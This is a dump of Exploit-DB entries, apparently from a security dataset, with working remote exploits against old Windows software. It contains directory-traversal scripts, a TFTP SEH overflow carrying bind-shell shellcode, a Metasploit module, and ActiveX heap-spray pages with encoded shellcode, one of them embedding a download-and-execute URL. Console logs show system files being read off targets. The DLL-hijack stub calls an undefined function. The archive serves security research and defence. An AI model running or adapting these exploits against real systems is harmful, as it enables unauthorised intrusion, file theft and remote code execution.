deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8561
Description: Quick 'n Easy Web Server 3.3.5 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2009-04-28
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl -w
#
# Found By : Cyber-Zone (ABDELKHALEK)
# Paradis_des_fous@hotmail.fr
#
#
# Note : Don't use this for your own R!sk :d
#
#
# Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers

#
# demo version Tested under my MS WINDOWS sp2
#
# download : http://www.softpedia.com/progDownload/Quick-n-Easy-Web-Server-Download-45387.html
# Screenshot : http://www.exploiter5.com/blog/directory-traversal.png
#
use LWP::Simple;
use LWP::UserAgent;

print "\tQuick 'n Easy Web Server 3.3.5 Arbitrary File Disclosure Exploit\n";

print "\t****************************************************************\n";
print "\t*      Found And Exploited By : Cyber-Zone (ABDELKHALEK)       *\n";
print "\t*           E-mail : Paradis_des_fous[at]hotmail.fr            *\n";
print "\t*          Home : WwW.IQ-TY.CoM , WwW.No-Exploit.CoM           *\n";
print "\t*               From : MoroccO Figuig/Oujda City               *\n";
print "\t****************************************************************\n\n\n\n";

if(@ARGV < 4)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0 HackerName IP Port File\n";
print "[X] Exemple : perl $0 Cyber-Zone 127.0.0.1 80 boot.ini\n";
}
($HackerName, $TargetIP, $AttackedPort, $TargetFile) = @ARGV;
print("Please Wait ! Connecting To The Server ......\n\n");
sleep(5);

print("          ******************************\n");
print("          *             Status         *\n");
print("          ******************************\n");
print("Loading ........................................\n\n\n");

$temp="/../../../../../../";
my $boom = "http://" . $TargetIP . ":" . $AttackedPort . $temp . $TargetFile;
print("Exploiting .....>    |80\n");
sleep(15);
print("Exploiting ..........|Done!\n");
sleep(5);
$Disclosure=get $boom;
if($Disclosure){
print("\n\n\n\n............File Contents Are Just Below...........\n");
print("$Disclosure \n");
print(".........................EOF.......................\n");
print("Done For Fun //Figuigian HaCker\n");
print("Some Womens Makes The World Special , Just By Being On it <3\n");
print("SEE U $HackerName\n\n\n");
}
else
{
print(" Not Found !!!\n\n");
exit;
}

# milw0rm.com [2009-04-28]
Exploit-DB #35171
Description: Quick Notes Plus 5.0 47 - Multiple DLL Loading Arbitrary Code Executions
Type: remote
Platform: windows
Date: 2011-01-05
Author: d3c0der

Exploit:
// source: https://www.securityfocus.com/bid/45689/info

Quick Notes Plus is prone to an arbitrary-code-execution vulnerability.

Attackers can exploit this vulnerability to execute arbitrary code in the context of the user running the vulnerable application.

Quick Notes Plus 5.0.0.47 is vulnerable; other versions may also be affected. 

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int pwnme()
{
  MessageBox(0, "dll hijacked !! ", "Dll Message", MB_OK);
  exit(0);
  return 0;
}
Exploit-DB #15437
Description: Quick Tftp Server Pro 2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-11-05
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# Quick Tftp Server Pro is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable FTP command are:
# * GET 	- Read 	File
# * PUT 	- Write File
#-----------------------------------
# Vulnerability Title: Quick Tftp Server Pro v2.1 Remote Directory Traversal Vulnerability
# Date: 05/11/2010
# Author: Pr0T3cT10n
# Software Link: http://www.tallsoft.com/tftpserver_setup.exe
# Affected Version: 2.1
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.


C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../boot.ini C:\boot.txt

Transfer successful: 206 bytes in 1 second, 206 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>
Exploit-DB #5315
Description: Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
Type: remote
Platform: windows
Date: 2008-03-26
Author: muts

Exploit:
#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2. 
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
# bt ~ # quickftp.py
# [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16[PII_REDACTED]
# (UNKNOWN) [172.16.167.130] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator>
##########################################################
import socket
import sys

print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print "[*] http://www.offensive-security.com"

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "pwnd"

# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444

shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
"\xff\xd0")

mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell

muha = "\x00\x02" + filename+ "\0" + mode + "\0" 

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

# milw0rm.com [2008-03-26]
Exploit-DB #16348
Description: Quick TFTP Server Pro 2.1 - Transfer-Mode Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: quick_tftp_pro_mode.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Quick TFTP Pro server
				product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
				in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.
			},
			'Author'         => 'Saint Patrick',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2008-1610'],
					['OSVDB', '43784'],
					['BID', '28459'],
					['URL', 'http://secunia.com/advisories/29494'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 460,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
					['Windows XP SP2', {'Ret' => 0x74D31458} ],       #oledlg.dll
				],
			'DefaultTarget'  => 1,
			'DisclosureDate' => 'Mar 27 2008'))

		register_options(
			[
				Opt::RPORT(69)
			], self.class)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit  = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
		sploit += "A"*1019
		seh  = generate_seh_payload(target.ret)
		sploit +=seh
		sploit += "\x00"

		udp_sock.put(sploit)
		print_status("Done.")

		handler
		disconnect_udp
	end

end
Exploit-DB #22476
Description: QuickFront 1.0 - File Disclosure
Type: remote
Platform: windows
Date: 2003-04-09
Author: Jan Kachlik

Exploit:
source: https://www.securityfocus.com/bid/7308/info

A vulnerability has been reported for QuickFront that will result in the disclosure of sensitive system resources to remote attackers.

QuickFront does not properly sanitize user-supplied input. Specifically, directory traversal sequences such as '../' to HTTP requests are not removed.

http://<target>/../../../../../boot.ini
Exploit-DB #15868
Description: QuickPHP Web Server - Arbitrary '.php' File Download
Type: remote
Platform: windows
Date: 2010-12-30
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# QuickPHP Web Server is vulnerable for a Remote File Download attcak, the following code will exploit the bug.
# The vulnerability allows an unprivileged attacker to download files whom he has no permissions to.
# -----------------------------------
# Vulnerability Title: QuickPHP Web Server 1.10.0 Remote File Download Exploit
# Date: 30/12/2010
# Author: Pr0T3cT10n
# Software Link: http://www.zachsaw.co.cc/downloads/quickphp_webserver.zip
# Affected Version: 1.10.0
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###

#!/usr/bin/perl
use LWP::Simple;

if (@ARGV < 3) {
	print("\r\n");
	print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
	print("Discovered & Exploited by Pr0T3cT10n\r\n");
	print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n");
	print("Usage: " .$0. " <host> <port> <file>\r\n");
	print("HOST - An host using QuickPHP Web Server\r\n");
	print("PORT - Port number\r\n");
	print("FILE - The file you want to get\r\n");
	print("Example: " .$0. " hostingserver.com 80 index.php\r\n\r\n");
	exit(1);
} else {
	print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
	print("Discovered & Exploited by Pr0T3cT10n\r\n");
	print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n");
	($host, $port, $file) = @ARGV;
	$content = get("http://" .$host. ":" .$port. "/" .$file. ".");
        print("File Content:\r\n\r\n");
	print($content. "\r\n");
}
Exploit-DB #15862
Description: QuickPHP Web Server 1.9.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-12-29
Author: John Leitch

Exploit:
# ------------------------------------------------------------------------

# Software................QuickPHP Web Server 1.9.1

# Vulnerability...........Directory Traversal

# Download................http://www.zachsaw.co.cc/?pg=quickphp_php_tester_debugger

# Release Date............12/27/2010

# Tested On...............Windows XP

# ------------------------------------------------------------------------

# Author..................John Leitch

# Site....................http://www.johnleitch.net/

# Email...................john.leitch5@gmail.com

# ------------------------------------------------------------------------

# 

# --Description--
# 
# A directory traversal vulnerability in QuickPHP Web Server 1.9.1 can
# be exploited to read files outside of the webroot directory.
# 
# 
# --Exploit--
# 
# The resource path must be absolute.
# 
# ..%2F
# 
# 
# --PoC--



import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send('GET http://' + host + '/' + '..%2F' * 8 + ' HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n');

print s.recv(8192);
Exploit-DB #16105
Description: quickshare file share 1.2.1 - Directory Traversal (1)
Type: remote
Platform: windows
Date: 2011-02-03
Author: modpr0be

Exploit:
#!/usr/bin/python

# Exploit Title: QuickShare File Share 1.2.1 Directory Traversal Vulnerability
# Date: 02/03/2011
# Author: modpr0be
# Software Link: http://www.quicksharehq.com/files/qfssetup.exe
# Vulnerable version: 1.2.1
# Tested on: Windows XP SP3 (VMware Player 3.1.3 build-324285)
# CVE : N/A

# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#   say hello to all digital-echidna org crew:
#     otoy, cipherstring, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#   special thx:
#     otoy, cipherstring, cyb3r.anbu, oebaj.
#   help for documentation:   	
#     offsec, exploit-db, corelan-team, 5M7X, loneferret.
#

#### Software description:
# QuickShare File Server is a easy to use file sharing software helps you 
# build your own file server. Users could access your server through web 
# browsers or FTP client softwares (In most case, they need not to install 
# any extra softwares). Users could send or receive large files to or from you. 
# You could create account and set password to protect your files.
#
#### Exploit information:
# It's a directory traversal. User without prior permission can get a file
# outside the specified directory (e.g. get a file from %systemroot%).
#
# This vulnerability can be exploited by anonymous or authenticated users.
#
##

# Below is the proof of concept
# authenticated user logged in to the quickshare ftp server from Ubuntu Linux.
#

modpr0be@digital-echidna:~$ ftp 10.5.5.27
Connected to 10.5.5.27.
220 quickshare ftpd ready.
Name (10.5.5.27:modpr0be): ftpuser
331 User name okay, need password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get ../../../../../../../../boot.ini boot.ini
local: boot.ini remote: ../../../../../../../../boot.ini
200 PORT command successful. Consider using PASV.
150 Opening BINARY connection.
226 File send OK.
211 bytes received in 0.00 secs (127.0 kB/s)
ftp> quit
221 Goodbye.
modpr0be@digital-echidna:~$ cat boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
modpr0be@digital-echidna:~$

# Eof
Exploit-DB #4906
Description: QuickTime Player 7.3.1.70 - 'RTSP' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-01-14
Author: Luigi Auriemma

Exploit:
Quicktime Player 7.3.1.70 rtsp Remote Buffer Overflow Exploit PoC

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4906.zip (2008-quicktimebof.zip)

# milw0rm.com [2008-01-14]
Exploit-DB #9705
Description: Quiksoft EasyMail 6 - 'AddAttachment' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-09-17
Author: bmgsec

Exploit:
<html>
 <head>
    <!--
      -- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
      -- 
      -- Its old and the latest version doesn't support this method. 
      -- I was bored and a similar post sparked my interest. 
      -- 
      -- Advisory: http://www.bmgsec.com.au/advisory/48/
      -- 
      -- Written by:
      -- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
      --  -->
 <title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='test'></object>
<script language='javascript'>
       function str_repeat ( input, multiplier ) {
               return new Array(multiplier+1).join(input);
       }

       //windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai ExitFunc: SEH
       shellcode = unescape("%uc931%u1eb1%ue2b8%udc1f%ud9cc%ud9e5%u2474%u5bf4%u4331%u830f%ufceb"+
                            "%u4303%ufde9%u3029%u4505%uc9d2%ucdd5%uf597%uad5e%u7e12%ua161%u3196"+
                            "%ub679%uedf6%u2378%u6541%u384e%u9753%ufe9f%ucbcd%u3e5b%u1499%u75a2"+
                            "%u1a6f%u61e6%u2784%u51b2%u2d61%u11df%ue936%ucd1e%u7aaf%u5a2c%u22bb"+
                            "%u5d30%u5750%ud654%u83a7%ub4ed%u5783%u1b2e%ua1fd%uf2d0%uc699%ucb56"+
                            "%u99ea%ua05a%u059d%u3dcf%u3e35%uba86%ufe45%u6af2%u0f22%u8f88%u87ed"+
                            "%u7114%u569b%u7173%u057b%ue11a%ucae7");

       bigblock = unescape("%u9090%u9090");
       headersize = 20;
       slackspace = headersize + shellcode.length;

       while (bigblock.length < slackspace)
               bigblock += bigblock;

       fillblock = bigblock.substring(0, slackspace);
       block = bigblock.substring(0, bigblock.length - slackspace);

       while (block.length + slackspace < 200000)
               block = block + block + fillblock;

       memory = new Array();
       for (i=0; i<500; i++)
               memory[i] = block + shellcode;

       buffer = str_repeat('A', 433);
       buffer += "BBBB";
       buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

       test.AddAttachment(buffer, 1);
</script>
</head>
</html>

# milw0rm.com [2009-09-17]
Exploit-DB #31023
Description: Qvod Player 2.1.5 - 'QvodInsert.dll' ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-01-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/27271/info

Qvod Player 'QvodInsert.dll' ActiveX control is prone to is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

The issue affects versions prior to Qvod Player 2.1.5 build 0053. 

<html>
<body>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" 
width=100 height=200>
</object>
<script>
var heapSprayToAddress = 0x05050505;
var shellcode = unescape("%u9090"+"%u9090"+
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u312f%u3732%u302e%u302e%u312e%u742f%u7365%u2f74" +
"%u2e64%u7865%u0065");
var heapBlockSize = 0x400000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory = spraySlide + shellcode;
}

try
{ var a=new Array(813);
a=a+"7rBJ"+"aaaaaaaaaccccccccccccccccccccccccccvvvvvvvvvvvvvvvvvvvvvvvvvvvbbbbbbbbbbbbbbbbbbbbbbnnnnnnnnnnnnnnnnnnnnnnnnnnnnhhhhhhhhhhhhhhhhhhhhhhhhhh";
document.write(evil.URL=a);
}
catch(e){}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
</body>
</html>
Exploit-DB #36829
Description: R2/Extreme 1.65 - Stack Buffer Overflow / Directory Traversal
Type: remote
Platform: windows
Date: 2012-02-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/52061/info

R2/Extreme is prone to a stack-based buffer-overflow vulnerability and a directory-traversal vulnerability.

Exploiting these issues may allow remote attackers to execute arbitrary code or retrieve arbitrary files within the context of the affected application.

R2/Extreme 1.65 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36829.zip